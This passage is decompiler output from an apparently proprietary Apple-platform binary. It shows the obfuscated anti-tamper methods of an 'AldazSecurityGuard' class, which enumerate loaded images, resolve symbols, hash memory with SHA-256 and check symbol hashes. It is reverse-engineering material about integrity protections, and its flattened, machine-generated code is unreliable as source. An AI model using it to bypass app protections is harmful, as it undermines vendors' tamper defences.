// 100266CB6: using guessed type char byte_100266CB6;
// 100266CB7: using guessed type char byte_100266CB7;
// 100266CB8: using guessed type char byte_100266CB8;
// 100266CB9: using guessed type char byte_100266CB9;
// 100266CE0: using guessed type __CFString stru_100266CE0;
// 100266D20: using guessed type __CFString stru_100266D20;
// 100266D60: using guessed type __CFString cfstr_Aw_1;
// 100266DA0: using guessed type __CFString stru_100266DA0;
// 10029F2BC: using guessed type int dword_10029F2BC;
//----- (0000000100049AE2) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard DumpDyldAndSymbolOwners](id a1, SEL a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
bool v7; // zf
char v8; // cf
int v9; // ecx
uint32_t v10; // eax
int v11; // ecx
uint32_t v12; // ebx
uint32_t v13; // ebx
int v14; // eax
void *v15; // rax
int v16; // eax
char *v17; // rax
int v18; // eax
__int64 v19; // [rsp+0h] [rbp-A0h] BYREF
FILE *v20; // [rsp+8h] [rbp-98h]
char **v21; // [rsp+10h] [rbp-90h]
char *v22; // [rsp+18h] [rbp-88h]
char **v23; // [rsp+20h] [rbp-80h]
Dl_info *v24; // [rsp+28h] [rbp-78h]
void *v25; // [rsp+30h] [rbp-70h]
char *v26; // [rsp+38h] [rbp-68h]
char **v27; // [rsp+40h] [rbp-60h]
char *__symbol; // [rsp+48h] [rbp-58h]
int v29; // [rsp+54h] [rbp-4Ch]
int v30; // [rsp+58h] [rbp-48h]
uint32_t v31; // [rsp+5Ch] [rbp-44h]
int v32; // [rsp+60h] [rbp-40h] BYREF
uint32_t v33; // [rsp+64h] [rbp-3Ch]
bool v34; // [rsp+6Bh] [rbp-35h]
bool v35; // [rsp+6Ch] [rbp-34h]
bool v36; // [rsp+6Dh] [rbp-33h]
bool v37; // [rsp+6Eh] [rbp-32h]
char v38; // [rsp+6Fh] [rbp-31h]
int *v39; // [rsp+70h] [rbp-30h]
v29 = -250359976;
v32 = 1741550591;
v39 = &v32;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v32 <= 213988527 )
{
if ( v32 <= -1039433554 )
{
if ( v32 <= -1279952849 )
{
if ( v32 <= -1829852370 )
{
switch ( v32 )
{
case -2012503349:
*v39 = 702419052;
break;
case -1955301629:
v7 = 0;
v30 = dword_10029F2C0;
v3 = -1239517299;
goto LABEL_125;
case -1859617015:
*v39 = 283011188;
break;
}
}
else if ( v32 > -1397112153 )
{
if ( v32 == -1397112152 )
{
v12 = v33;
HikariFunctionWrapper_2821(v33);
HikariFunctionWrapper_2823(v12);
v13 = v12 + 1;
v14 = -1397112152;
if ( v13 == v31 )
v14 = 772872789;
*v39 = v14;
v33 = v13;
}
else if ( v32 == -1372303396 )
{
v2 = 1;
v3 = 2099519898;
v4 = 160642868;
goto LABEL_163;
}
}
else
{
if ( v32 == -1829852369 )
{
v8 = 1;
v3 = -89053306;
LABEL_149:
v9 = -1829852369;
LABEL_150:
if ( !v8 )
v3 = v9;
goto LABEL_170;
}
if ( v32 == -1503521642 )
{
strcpy(&byte_100266070, "AMDeviceCopyValue");
qmemcpy(&byte_100266A90, "dataWithCon", 11);
*v39 = 1837291427;
}
}
}
else if ( v32 > -1186759085 )
{
if ( v32 > -1146864642 )
{
if ( v32 == -1146864641 )
{
*v39 = 1557521867;
}
else if ( v32 == -1076917891 )
{
v5 = 0;
v3 = 582903082;
v6 = 1973672017;
goto LABEL_131;
}
}
else if ( v32 == -1186759084 )
{
*v39 = 213988528;
}
else if ( v32 == -1150902070 )
{
*v39 = 1060102751;
}
}
else if ( v32 > -1202233796 )
{
if ( v32 == -1202233795 )
{
v5 = !v36;
v3 = 1542804329;
v6 = 1060102751;
LABEL_131:
if ( !v5 )
v3 = v6;
goto LABEL_170;
}
if ( v32 == -1196596751 )
{
v10 = _dyld_image_count();
v35 = v10 == 0;
v2 = 0;
v31 = v10;
v3 = -1186759084;
goto LABEL_84;
}
}
else if ( v32 == -1279952848 )
{
_dyld_image_count();
*v39 = -1196596751;
}
else if ( v32 == -1239517299 )
{
*v39 = 685212043;
}
}
else if ( v32 > -225835113 )
{
if ( v32 > -89053307 )
{
if ( v32 > 160642867 )
{
if ( v32 == 160642868 )
{
byte_100266A9B = v38;
strcpy(&byte_100266A9C, "entsOfFile:");
byte_100266CB5 = 101;
byte_100266CB6 = 120;
byte_100266CB7 = 105;
byte_100266CB8 = 116;
byte_100266CB9 = 0;
byte_100266A20 = 111;
byte_100266A21 = 98;
byte_100266A22 = 106;
byte_100266A23 = 101;
byte_100266A24 = 99;
byte_100266A25 = 116;
byte_100266A26 = 70;
byte_100266A27 = 111;
byte_100266A28 = 114;
*v39 = 1646551536;
}
else if ( v32 == 169709691 )
{
fflush(v20);
*v39 = 1447309735;
}
}
else if ( v32 == -89053306 )
{
v16 = -828872904;
if ( v37 )
v16 = 65843537;
*v39 = v16;
v26 = v22;
v27 = v21;
}
else if ( v32 == 65843537 )
{
v20 = (FILE *)-1LL;
*v39 = 169709691;
}
}
else if ( v32 > -197104026 )
{
if ( v32 == -197104025 )
{
v21 = v23 + 1;
v17 = v23[1];
v37 = v17 == 0;
v22 = v17;
*v39 = -504130573;
}
else if ( v32 == -116759221 )
{
byte_100266A29 = 75;
byte_100266A2A = 101;
byte_100266A2B = 121;
byte_100266A2C = 58;
byte_100266A2D = 0;
byte_100266B44 = 97;
byte_100266B45 = 98;
byte_100266B46 = 111;
v2 = 1;
byte_100266B47 = 114;
byte_100266B48 = 116;
byte_100266B49 = 0;
v3 = 306356966;
v4 = -2012503349;
goto LABEL_163;
}
}
else if ( v32 == -225835112 )
{
dladdr(v25, v24);
*v39 = 1030055238;
}
else if ( v32 == -200996890 )
{
v5 = !v34;
v3 = 702419052;
v6 = 1478874946;
goto LABEL_131;
}
}
else if ( v32 > -583471633 )
{
if ( v32 > -504130574 )
{
if ( v32 == -504130573 )
{
v8 = 0;
v3 = 1961966950;
goto LABEL_149;
}
if ( v32 == -503811419 )
*v39 = -1039433553;
}
else
{
if ( v32 == -583471632 )
{
v15 = dlsym((void *)0xFFFFFFFFFFFFFFFELL, __symbol);
v36 = v15 == 0;
v8 = 1;
v25 = v15;
v3 = -1202233795;
LABEL_146:
v9 = 910918639;
goto LABEL_150;
}
if ( v32 == -536806006 )
{
v8 = 0;
v3 = -536806006;
v9 = -200996890;
goto LABEL_150;
}
}
}
else if ( v32 > -828872905 )
{
if ( v32 == -828872904 )
{
v23 = v27;
__symbol = v26;
v8 = 1;
v3 = -583471632;
goto LABEL_146;
}
if ( v32 == -602212957 )
{
dword_10029F2C0 = 1;
*v39 = 467712864;
}
}
else
{
if ( v32 == -1039433553 )
{
v2 = 0;
v3 = -1150902070;
v4 = -503811419;
goto LABEL_163;
}
if ( v32 == -995068586 )
{
v2 = 1;
v3 = -1279952848;
LABEL_84:
v4 = -1196596751;
goto LABEL_163;
}
}
}
if ( v32 > 1039579918 )
break;
if ( v32 <= 629742018 )
{
if ( v32 <= 327900563 )
{
switch ( v32 )
{
case 213988528:
v18 = -1397112152;
if ( v35 )
v18 = 772872789;
*v39 = v18;
v33 = 0;
break;
case 283011188:
v8 = 1;
v3 = -1039433553;
v9 = -503811419;
goto LABEL_150;
case 306356966:
byte_100266A29 = 75;
byte_100266A2A = 101;
byte_100266A2B = 121;
byte_100266A2C = 58;
byte_100266A2D = 0;
byte_100266B44 = 97;
byte_100266B45 = 98;
byte_100266B46 = 111;
byte_100266B47 = 114;
byte_100266B48 = 116;
byte_100266B49 = 0;
*v39 = -116759221;
break;
}
}
else if ( v32 > 486910080 )
{
if ( v32 == 486910081 )
{
LABEL_121:
*v39 = 770818378;
}
else if ( v32 == 582903082 )
{
*v39 = -1076917891;
}
}
else if ( v32 == 327900564 )
{
v7 = 0;
v3 = -116759221;
v11 = 306356966;
LABEL_168:
if ( v7 )
v3 = v11;
LABEL_170:
*v39 = v3;
}
else if ( v32 == 467712864 )
{
dword_10029F2C0 = 1;
v2 = 1;
v24 = (Dl_info *)(&v19 - 4);
v3 = -602212957;
v4 = 1755743629;
goto LABEL_163;
}
}
else if ( v32 > 772872788 )
{
if ( v32 > 960107640 )
{
if ( v32 == 960107641 )
{
*v39 = -1372303396;
}
else if ( v32 == 1030055238 )
{
dladdr(v25, v24);
v2 = 1;
v3 = 1030055238;
v4 = -1859617015;
goto LABEL_163;
}
}
else if ( v32 == 772872789 )
{
*v39 = -828872904;
v26 = &byte_100266070;
v27 = off_10025B3D0;
}
else if ( v32 == 910918639 )
{
dlsym((void *)0xFFFFFFFFFFFFFFFELL, __symbol);
*v39 = -583471632;
}
}
else if ( v32 > 702419051 )
{
if ( v32 == 702419052 )
{
v2 = 1;
v3 = -602212957;
v4 = 467712864;
LABEL_163:
if ( v2 )
v3 = v4;
goto LABEL_170;
}
if ( v32 == 770818378 )
{
v2 = 1;
v3 = 770818378;
v4 = 1857010829;
goto LABEL_163;
}
}
else if ( v32 == 629742019 )
{
*v39 = 1039579919;
}
else if ( v32 == 685212043 )
{
v5 = 0;
v3 = 629742019;
v6 = 1039579919;
goto LABEL_131;
}
}
if ( v32 > 1646551535 )
break;
if ( v32 > 1447309734 )
{
if ( v32 > 1542804328 )
{
if ( v32 == 1542804329 )
{
v2 = 1;
v3 = -225835112;
v4 = 1030055238;
goto LABEL_163;
}
if ( v32 == 1557521867 )
LABEL_108:
*v39 = -536806006;
}
else
{
if ( v32 == 1447309735 )
goto LABEL_121;
if ( v32 == 1478874946 )
{
v5 = 0;
v3 = -1503521642;
v6 = 1837291427;
goto LABEL_131;
}
}
}
else if ( v32 > 1315554065 )
{
if ( v32 == 1315554066 )
goto LABEL_108;
if ( v32 == 1363466422 )
*v39 = -1955301629;
}
else
{
if ( v32 == 1039579919 )
{
v34 = v30 == 0;
v7 = 0;
v3 = -1146864641;
v11 = 629742019;
goto LABEL_168;
}
if ( v32 == 1060102751 )
{
v2 = 1;
v3 = 582903082;
v4 = -1076917891;
goto LABEL_163;
}
}
}
if ( v32 > 1857010828 )
break;
if ( v32 > 1755743628 )
{
if ( v32 == 1755743629 )
{
*v39 = -995068586;
}
else if ( v32 == 1837291427 )
{
strcpy(&byte_100266070, "AMDeviceCopyValue");
qmemcpy(&byte_100266A90, "dataWithCon", 11);
v8 = 0;
v38 = 116;
v3 = 1837291427;
v9 = 960107641;
goto LABEL_150;
}
}
else if ( v32 == 1646551536 )
{
*v39 = 327900564;
}
else if ( v32 == 1741550591 )
{
v7 = v29 == -149736797;
v3 = -1955301629;
LABEL_125:
v11 = 1363466422;
goto LABEL_168;
}
}
if ( v32 <= 1973672016 )
break;
if ( v32 == 1973672017 )
{
*v39 = -197104025;
}
else if ( v32 == 2099519898 )
{
byte_100266A9B = v38;
strcpy(&byte_100266A9C, "entsOfFile:");
byte_100266CB5 = 101;
byte_100266CB6 = 120;
byte_100266CB7 = 105;
byte_100266CB8 = 116;
byte_100266CB9 = 0;
byte_100266A20 = 111;
byte_100266A21 = 98;
byte_100266A22 = 106;
byte_100266A23 = 101;
byte_100266A24 = 99;
byte_100266A25 = 116;
byte_100266A26 = 70;
byte_100266A27 = 111;
byte_100266A28 = 114;
*v39 = 160642868;
}
}
if ( v32 != 1961966950 )
break;
*v39 = -1829852369;
}
}
while ( v32 != 1857010829 );
}
// 10025B3D0: using guessed type char *off_10025B3D0[5];
// 100266070: using guessed type char byte_100266070;
// 100266A20: using guessed type char byte_100266A20;
// 100266A21: using guessed type char byte_100266A21;
// 100266A22: using guessed type char byte_100266A22;
// 100266A23: using guessed type char byte_100266A23;
// 100266A24: using guessed type char byte_100266A24;
// 100266A25: using guessed type char byte_100266A25;
// 100266A26: using guessed type char byte_100266A26;
// 100266A27: using guessed type char byte_100266A27;
// 100266A28: using guessed type char byte_100266A28;
// 100266A29: using guessed type char byte_100266A29;
// 100266A2A: using guessed type char byte_100266A2A;
// 100266A2B: using guessed type char byte_100266A2B;
// 100266A2C: using guessed type char byte_100266A2C;
// 100266A2D: using guessed type char byte_100266A2D;
// 100266A90: using guessed type char byte_100266A90;
// 100266A9B: using guessed type char byte_100266A9B;
// 100266A9C: using guessed type char byte_100266A9C;
// 100266B44: using guessed type char byte_100266B44;
// 100266B45: using guessed type char byte_100266B45;
// 100266B46: using guessed type char byte_100266B46;
// 100266B47: using guessed type char byte_100266B47;
// 100266B48: using guessed type char byte_100266B48;
// 100266B49: using guessed type char byte_100266B49;
// 100266CB5: using guessed type char byte_100266CB5;
// 100266CB6: using guessed type char byte_100266CB6;
// 100266CB7: using guessed type char byte_100266CB7;
// 100266CB8: using guessed type char byte_100266CB8;
// 100266CB9: using guessed type char byte_100266CB9;
// 10029F2C0: using guessed type int dword_10029F2C0;
//----- (000000010004B192) ----------------------------------------------------
id __cdecl +[AldazSecurityGuard sha256OfMemory:length:](id a1, SEL a2, const void *a3, unsigned __int64 a4)
{
bool v6; // zf
int v7; // eax
int v8; // ecx
__int64 v9; // r15
__int64 v10; // r15
int v11; // eax
char v12; // cf
int v13; // ecx
id v14; // rax
id v15; // rax
int v16; // eax
__int64 v18; // [rsp+0h] [rbp-90h] BYREF
SEL v19; // [rsp+8h] [rbp-88h]
id v20; // [rsp+10h] [rbp-80h]
id v21; // [rsp+18h] [rbp-78h]
__int64 v22; // [rsp+20h] [rbp-70h]
id v23; // [rsp+28h] [rbp-68h]
int v24; // [rsp+34h] [rbp-5Ch]
int v25; // [rsp+38h] [rbp-58h]
int v26; // [rsp+3Ch] [rbp-54h] BYREF
unsigned __int8 *md; // [rsp+40h] [rbp-50h]
id v28; // [rsp+48h] [rbp-48h]
bool v29; // [rsp+54h] [rbp-3Ch]
bool v30; // [rsp+55h] [rbp-3Bh]
bool v31; // [rsp+56h] [rbp-3Ah]
char v32; // [rsp+57h] [rbp-39h]
int *v33; // [rsp+58h] [rbp-38h]
__int64 v34; // [rsp+60h] [rbp-30h]
v34 = -1;
v24 = -537330203;
v26 = 2040061629;
v33 = &v26;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 <= -92294651 )
{
if ( v26 <= -1547528527 )
{
if ( v26 > -1907702752 )
{
if ( v26 <= -1744907191 )
{
if ( v26 == -1907702751 )
{
asc_100266DC5[0] = v32;
asc_100266DC5[1] = 48;
asc_100266DC5[2] = 50;
asc_100266DC5[3] = 120;
v7 = -352579973;
goto LABEL_107;
}
if ( v26 == -1785174390 )
{
asc_100266DC5[4] = 0;
v7 = 642792163;
goto LABEL_107;
}
}
else
{
switch ( v26 )
{
case -1744907190:
*v33 = -92294650;
break;
case -1699142241:
*v33 = 41223294;
break;
case -1616224357:
CC_SHA256(a3, a4, md);
v20 = &OBJC_CLASS___NSMutableString;
v7 = -1744907190;
goto LABEL_107;
}
}
}
else if ( v26 <= -2091320388 )
{
if ( v26 == -2135317396 )
{
objc_autoreleaseReturnValue(v28);
*v33 = -960446123;
}
else if ( v26 == -2125693172 )
{
LABEL_67:
*v33 = 268023829;
}
}
else
{
switch ( v26 )
{
case -2091320387:
*v33 = -1944224038;
v22 = 0;
break;
case -2022296778:
goto LABEL_67;
case -1944224038:
v9 = v22;
objc_msgSend(v21, v19, CFSTR("\xAD+\x17\x89"), md[v22]);
v10 = v9 + 1;
v11 = -1944224038;
if ( v10 == 32 )
v11 = 1259353659;
*v33 = v11;
v22 = v10;
break;
}
}
}
else if ( v26 <= -826348953 )
{
if ( v26 <= -1199477172 )
{
if ( v26 == -1547528526 )
{
v15 = objc_msgSend(v20, "stringWithCapacity:", 64);
v21 = objc_retainAutoreleasedReturnValue(v15);
v7 = -341770274;
goto LABEL_107;
}
if ( v26 == -1451619442 )
{
v6 = 0;
v25 = dword_10029F2C4;
v7 = 734310066;
v8 = 726867055;
LABEL_74:
if ( !v6 )
v7 = v8;
goto LABEL_107;
}
}
else
{
switch ( v26 )
{
case -1199477171:
v14 = objc_msgSend(v20, "stringWithCapacity:", 64);
objc_retainAutoreleasedReturnValue(v14);
*v33 = -1547528526;
break;
case -1178785338:
v31 = v30 || a4 == 0;
*v33 = 608803746;
break;
case -960446123:
objc_autoreleaseReturnValue(v28);
v7 = 2102817139;
goto LABEL_107;
}
}
}
else if ( v26 > -352579974 )
{
switch ( v26 )
{
case -352579973:
*v33 = 780036910;
break;
case -341770274:
*v33 = -2125693172;
break;
case -182052943:
asc_100266DC5[0] = v32;
asc_100266DC5[1] = 48;
asc_100266DC5[2] = 50;
asc_100266DC5[3] = 120;
*v33 = -1907702751;
break;
}
}
else
{
switch ( v26 )
{
case -826348952:
*v33 = 1463579953;
break;
case -571469331:
v7 = -1616224357;
goto LABEL_107;
case -399429835:
v6 = 0;
v7 = -1699142241;
v8 = 41223294;
goto LABEL_74;
}
}
}
if ( v26 > 728583556 )
break;
if ( v26 <= 268023828 )
{
if ( v26 <= 41223293 )
{
if ( v26 == -92294650 )
{
v12 = 0;
v7 = -1547528526;
v13 = -1199477171;
LABEL_101:
if ( v12 )
v7 = v13;
goto LABEL_107;
}
if ( v26 == -81454260 )
{
v7 = 666249041;
goto LABEL_107;
}
}
else
{
switch ( v26 )
{
case 41223294:
v29 = v25 == 0;
v7 = 721183248;
goto LABEL_107;
case 83260799:
asc_100266DC5[4] = 0;
*v33 = -1785174390;
break;
case 183324239:
dword_10029F2C4 = 1;
v30 = a3 == 0;
md = (unsigned __int8 *)(&v18 - 4);
*v33 = -1178785338;
break;
}
}
}
else if ( v26 > 666249040 )
{
switch ( v26 )
{
case 666249041:
v32 = 37;
v7 = -826348952;
goto LABEL_107;
case 721183248:
*v33 = 2067002821;
break;
case 726867055:
*v33 = -399429835;
break;
}
}
else
{
switch ( v26 )
{
case 268023829:
v19 = "appendFormat:";
*v33 = -2091320387;
break;
case 608803746:
v16 = -571469331;
if ( v31 )
v16 = 728583557;
*v33 = v16;
v23 = 0;
break;
case 642792163:
*v33 = 183324239;
break;
}
}
}
if ( v26 > 1463579952 )
break;
if ( v26 <= 780036909 )
{
if ( v26 == 728583557 )
{
v28 = v23;
v12 = 0;
v7 = -960446123;
v13 = -2135317396;
goto LABEL_101;
}
if ( v26 == 734310066 )
*v33 = -1451619442;
}
else
{
switch ( v26 )
{
case 780036910:
v7 = -1785174390;
goto LABEL_107;
case 820112808:
*v33 = 666249041;
break;
case 1259353659:
*v33 = 1874191257;
break;
}
}
}
if ( v26 > 2040061628 )
break;
switch ( v26 )
{
case 1463579953:
v12 = 1;
v7 = -182052943;
v13 = -1907702751;
goto LABEL_101;
case 1475940695:
HikariFunctionWrapper_2825(a3, a4, md);
*v33 = -1616224357;
break;
case 1874191257:
*v33 = 728583557;
v23 = v21;
break;
}
}
if ( v26 != 2040061629 )
break;
v7 = -1451619442;
if ( v24 == 2003126372 )
v7 = 734310066;
LABEL_107:
*v33 = v7;
}
if ( v26 == 2067002821 )
{
v6 = !v29;
v7 = 183324239;
v8 = -81454260;
goto LABEL_74;
}
}
while ( v26 != 2102817139 );
return v28;
}
// 10004BB59: conditional instruction was optimized away because cf.1==1
// 100266DF0: using guessed type __CFString stru_100266DF0;
// 10029F2C4: using guessed type int dword_10029F2C4;
//----- (000000010004BBDC) ----------------------------------------------------
void __cdecl +[AldazSecurityGuard checkSymbolHash:expected:](id a1, SEL a2, const char *a3, id a4)
{
void *v6; // rax
char v7; // cf
int v8; // eax
int v9; // ecx
char v10; // cf
int v11; // ecx
id v12; // rax
id v13; // rax
int v14; // eax
bool v15; // zf
id v16; // rax
int v17; // ecx
id v18; // rax
id v19; // rax
id v20; // [rsp+0h] [rbp-A0h]
void *v21; // [rsp+8h] [rbp-98h]
void *v22; // [rsp+10h] [rbp-90h]
void *v23; // [rsp+18h] [rbp-88h]
const char *v24; // [rsp+20h] [rbp-80h]
const char *v25; // [rsp+28h] [rbp-78h]
id v26; // [rsp+30h] [rbp-70h]
int v27; // [rsp+3Ch] [rbp-64h]
_DWORD v28[2]; // [rsp+40h] [rbp-60h] BYREF
id v29; // [rsp+48h] [rbp-58h]
id v30; // [rsp+50h] [rbp-50h]
id v31; // [rsp+58h] [rbp-48h]
bool v32; // [rsp+67h] [rbp-39h]
bool v33; // [rsp+68h] [rbp-38h]
bool v34; // [rsp+69h] [rbp-37h]
bool v35; // [rsp+6Ah] [rbp-36h]
bool v36; // [rsp+6Bh] [rbp-35h]
unsigned __int8 v37; // [rsp+6Ch] [rbp-34h]
bool v38; // [rsp+6Dh] [rbp-33h]
char v39; // [rsp+6Eh] [rbp-32h]
char v40; // [rsp+6Fh] [rbp-31h]
int *v41; // [rsp+70h] [rbp-30h]
v28[0] = -541771142;
v41 = v28;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v28[0] > -57613272 )
{
if ( v28[0] > 1031578513 )
{
if ( v28[0] <= 1623640445 )
{
if ( v28[0] <= 1353631322 )
{
if ( v28[0] <= 1271891805 )
{
if ( v28[0] == 1031578514 )
{
*v41 = -674885430;
}
else if ( v28[0] == 1230463708 )
{
HikariFunctionWrapper_2837((void *)0xFFFFFFFFFFFFFFFELL, a3);
*v41 = -791304822;
}
}
else
{
switch ( v28[0] )
{
case 0x4BCF875E:
*v41 = 1809920105;
break;
case 0x4CA0CF2F:
*v41 = -1366987905;
break;
case 0x4E14B73D:
v34 = v31 == 0;
v10 = 0;
v8 = -1812738302;
v11 = 1309980477;
goto LABEL_220;
}
}
}
else if ( v28[0] > 1539584997 )
{
switch ( v28[0] )
{
case 0x5BC433E6:
v18 = HikariFunctionWrapper_2833(v21, "stringWithFormat:");
v26 = objc_retainAutoreleasedReturnValue(v18);
objc_msgSend(a1, "logSecurityEvent:severity:", v26, CFSTR("\x9B\xB6BD\xA4\xDF\x3A{"));
*v41 = 225441338;
break;
case 0x5C6C1519:
asc_100266E80[23] = v40;
asc_100266E80[24] = 32;
asc_100266E80[25] = 37;
asc_100266E80[26] = 64;
asc_100266E80[27] = 32;
asc_100266E80[28] = 40;
asc_100266E80[29] = 101;
asc_100266E80[30] = 120;
asc_100266E80[31] = 112;
asc_100266E80[32] = 101;
asc_100266E80[33] = 99;
asc_100266E80[34] = 116;
asc_100266E80[35] = 101;
asc_100266E80[36] = 100;
asc_100266E80[37] = 32;
asc_100266E80[38] = 37;
asc_100266E80[39] = 64;
asc_100266E80[40] = 41;
asc_100266E80[41] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
strcpy(aD_0, "[SEC] Symbol %s hash ok: %@");
*v41 = 1353631323;
break;
case 0x5EB74D6B:
v10 = 1;
v8 = -2122309289;
v11 = 2010346607;
goto LABEL_220;
}
}
else
{
switch ( v28[0] )
{
case 0x50AEC65B:
asc_100266E80[23] = v40;
asc_100266E80[24] = 32;
asc_100266E80[25] = 37;
asc_100266E80[26] = 64;
asc_100266E80[27] = 32;
asc_100266E80[28] = 40;
asc_100266E80[29] = 101;
asc_100266E80[30] = 120;
asc_100266E80[31] = 112;
asc_100266E80[32] = 101;
asc_100266E80[33] = 99;
asc_100266E80[34] = 116;
asc_100266E80[35] = 101;
asc_100266E80[36] = 100;
asc_100266E80[37] = 32;
asc_100266E80[38] = 37;
asc_100266E80[39] = 64;
asc_100266E80[40] = 41;
asc_100266E80[41] = 0;
asc_100264CC8[0] = 87;
asc_100264CC8[1] = 65;
asc_100264CC8[2] = 82;
asc_100264CC8[3] = 78;
asc_100264CC8[4] = 73;
asc_100264CC8[5] = 78;
asc_100264CC8[6] = 71;
asc_100264CC8[7] = 0;
aAw[0] = 73;
aAw[1] = 78;
aAw[2] = 70;
aAw[3] = 79;
aAw[4] = 0;
strcpy(aD_0, "[SEC] Symbol %s hash ok: %@");
v8 = 104975821;
goto LABEL_226;
case 0x517DC33A:
*v41 = -1834606495;
break;
case 0x5216A030:
*v41 = 1947646643;
break;
}
}
}
else if ( v28[0] > 1947646642 )
{
if ( v28[0] > 2035947946 )
{
switch ( v28[0] )
{
case 0x795A19AB:
v15 = 0;
v8 = 2035947947;
v17 = 43929733;
goto LABEL_216;
case 0x7DFD35F8:
v7 = 1;
v8 = -1429814151;
v9 = -1390584227;
LABEL_224:
if ( !v7 )
v8 = v9;
LABEL_226:
*v41 = v8;
break;
case 0x7EEB4D2E:
v15 = !v35;
v8 = -817282694;
LABEL_212:
v17 = -1431064657;
goto LABEL_216;
}
}
else
{
switch ( v28[0] )
{
case 0x7416BAB3:
v35 = a4 == 0;
v7 = 1;
v8 = -1199875087;
v9 = 1947646643;
goto LABEL_224;
case 0x74D1C9B9:
*v41 = 279452343;
break;
case 0x77D3746F:
v12 = objc_msgSend(a1, "sha256OfMemory:length:", v22, 64);
v31 = objc_retainAutoreleasedReturnValue(v12);
v8 = -53653143;
goto LABEL_226;
}
}
}
else if ( v28[0] > 1809920104 )
{
switch ( v28[0] )
{
case 0x6BE13069:
v10 = 0;
v8 = 2035947947;
v11 = 897203014;
goto LABEL_220;
case 0x6FD4A0F6:
v15 = !v38;
v8 = -1431064657;
v17 = -1022019440;
LABEL_216:
if ( !v15 )
v8 = v17;
goto LABEL_226;
case 0x704D9091:
v13 = HikariFunctionWrapper_2839(v23, v24);
objc_retainAutoreleasedReturnValue(v13);
goto LABEL_160;
}
}
else
{
switch ( v28[0] )
{
case 0x60C6C97E:
v7 = 0;
v8 = -1752770264;
v9 = 1309980477;
goto LABEL_224;
case 0x679C5C9D:
objc_msgSend(a1, "logSecurityEvent:severity:", v29, CFSTR("aw\xC8\x2A"));
v15 = 0;
v8 = -855565573;
v17 = -1658860655;
goto LABEL_216;
case 0x6B032487:
v25 = "isEqualToString:";
*v41 = -1659738041;
break;
}
}
}
else if ( v28[0] <= 279452342 )
{
if ( v28[0] <= 43929732 )
{
if ( v28[0] <= -5366752 )
{
if ( v28[0] == -57613271 )
{
LABEL_160:
*v41 = 64692836;
}
else if ( v28[0] == -53653143 )
{
*v41 = 1623640446;
}
}
else
{
switch ( v28[0] )
{
case 0xFFAE1C21:
*v41 = -1191386096;
break;
case 0x2376A9C:
LABEL_158:
*v41 = -1660299632;
goto LABEL_159;
case 0x260129A:
objc_release(v26);
v8 = 37186204;
goto LABEL_226;
}
}
}
else if ( v28[0] > 195340312 )
{
switch ( v28[0] )
{
case 0xBA4A819:
v8 = -674885430;
goto LABEL_226;
case 0xD6FF63A:
v7 = 1;
v8 = 39850650;
v9 = 408531007;
goto LABEL_224;
case 0x102A76C4:
v32 = v27 == 0;
v10 = 1;
v8 = -1759978446;
v11 = 1271891806;
goto LABEL_220;
}
}
else
{
switch ( v28[0] )
{
case 0x29E5085:
v15 = !v32;
v8 = -903552420;
v17 = -1474480965;
goto LABEL_216;
case 0x3DB2264:
v19 = HikariFunctionWrapper_2829(v23, v24);
v29 = objc_retainAutoreleasedReturnValue(v19);
*v41 = 394454166;
break;
case 0x641CDCD:
*v41 = -903552420;
break;
}
}
}
else if ( v28[0] > 527689113 )
{
if ( v28[0] > 897203013 )
{
switch ( v28[0] )
{
case 0x357A3B46:
*v41 = 2035947947;
break;
case 0x372FD179:
v10 = 0;
v8 = -791304822;
v11 = 1230463708;
LABEL_220:
if ( v10 )
v8 = v11;
goto LABEL_226;
case 0x3B418FF2:
v14 = -151068512;
if ( v34 )
v14 = -1660299632;
*v41 = v14;
LABEL_159:
v30 = v31;
break;
}
}
else
{
switch ( v28[0] )
{
case 0x1F73E59A:
*v41 = -1252559459;
break;
case 0x220E7B3F:
v15 = !v36;
v8 = 1795368071;
goto LABEL_212;
case 0x34DAD468:
v20 = objc_msgSend(a4, "length");
*v41 = -738161895;
break;
}
}
}
else if ( v28[0] > 394454165 )
{
switch ( v28[0] )
{
case 0x1782E496:
*v41 = -333598917;
break;
case 0x1859B03F:
objc_release(v26);
*v41 = 39850650;
break;
case 0x1CB3167C:
*v41 = -667033757;
break;
}
}
else
{
switch ( v28[0] )
{
case 0x10A81AB7:
v15 = !v33;
v8 = 1589071211;
v17 = -917253411;
goto LABEL_216;
case 0x1587E592:
*v41 = -57613271;
break;
case 0x17467470:
v37 = (unsigned __int8)HikariFunctionWrapper_2831(v31, v25);
*v41 = -1687555428;
break;
}
}
}
if ( v28[0] <= -1390584228 )
break;
if ( v28[0] <= -817282695 )
{
if ( v28[0] <= -1191386097 )
{
if ( v28[0] <= -1252559460 )
{
if ( v28[0] == -1390584227 )
{
*v41 = -1429814151;
}
else if ( v28[0] == -1366987905 )
{
v10 = 1;
v8 = 1550587161;
v11 = 1353631323;
goto LABEL_220;
}
}
else
{
switch ( v28[0] )
{
case 0xB557759D:
v38 = v37 == 0;
v10 = 1;
v8 = -1252559459;
v11 = 1876205814;
goto LABEL_220;
case 0xB87B5BF1:
*v41 = 2113746424;
break;
case 0xB8B690CE:
NSLog(
CFSTR("D\x94\x06g\x0E<\a\xE5\x59\x99!\xB2x\x0F\v\xEA\x62\x27\xB4{[\xA5\x13.\xCE\x79hl"),
a3,
v31);
*v41 = -1968538721;
break;
}
}
}
else if ( v28[0] > -917253412 )
{
switch ( v28[0] )
{
case 0xC953D2DD:
v10 = 0;
v8 = -667033757;
v11 = 481498748;
goto LABEL_220;
case 0xCA24E25C:
v7 = 1;
v8 = -940651838;
v9 = -529043758;
goto LABEL_224;
case 0xCD011AFB:
objc_msgSend(a1, "logSecurityEvent:severity:", v29, CFSTR("aw\xC8\x2A"));
*v41 = 1738300573;
break;
}
}
else
{
switch ( v28[0] )
{
case 0xB8FCE410:
goto LABEL_158;
